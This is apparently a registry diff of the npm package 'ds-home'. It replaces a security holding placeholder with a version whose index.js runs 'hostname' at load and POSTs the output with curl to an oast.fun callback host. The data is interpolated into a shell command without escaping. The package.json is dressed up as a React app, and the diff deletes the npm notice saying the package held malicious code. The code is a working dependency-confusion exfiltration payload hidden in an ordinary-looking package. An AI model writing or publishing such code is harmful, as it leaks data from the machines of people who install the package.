ds-home 0.0.1-security → 0.1.0

package/index.js

@@ -0,0 +1,37 @@
+const { exec } = require("child_process");
+
+function sendPingback(data) {
+  const collaboratorUrl = "https://rxthgpisbdduguomjwmi4aeh4hqgjdxla.oast.fun";
+  exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
+    if (error) {
+      console.error(`Error: ${error.message}`);
+      return;
+    }
+    if (stderr) {
+      console.error(`Stderr: ${stderr}`);
+      return;
+    }
+    console.log(`Pingback sent: ${stdout}`);
+  });
+}
+
+function executeCommand(command) {
+  exec(command, (error, stdout, stderr) => {
+    if (error) {
+      console.error(`Error: ${error.message}`);
+      sendPingback(`Error executing command: ${error.message}`);
+      return;
+    }
+    if (stderr) {
+      console.error(`Stderr: ${stderr}`);
+      sendPingback(`Stderr: ${stderr}`);
+      return;
+    }
+    console.log(`Command output: ${stdout}`);
+    sendPingback(stdout); // Send the command output to the collaborator
+  });
+}
+
+// Example: Execute a command (e.g., 'whoami')
+executeCommand('hostname');
+

package/package.json

@@ -1,6 +1,49 @@
 {
   "name": "ds-home",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.1.0",
+  "description": "A simple package to trigger Burp Collaborator for security testing",
+  "main": "index.js",
+  "scripts": {
+    "test": "node index.js",
+    "dev": "react-scripts start",
+    "build": "node ./scripts/generate && react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject",
+    "generate": "node ./scripts/generate"
+  },
+  "dependencies": {
+    "@ant-design/icons": "^4.8.0",
+    "antd": "^5.0.3",
+    "dayjs": "^1.11.6",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-player": "^2.11.0",
+    "react-router-dom": "^6.4.3",
+    "react-scripts": "5.0.1",
+    "sass": "^1.56.1"
+  },
+  "devDependencies": {
+    "fs-extra": "^10.1.0",
+    "highlight.js": "^11.6.0",
+    "markdown-it": "^13.0.1"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
 }
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=ds-home for more information.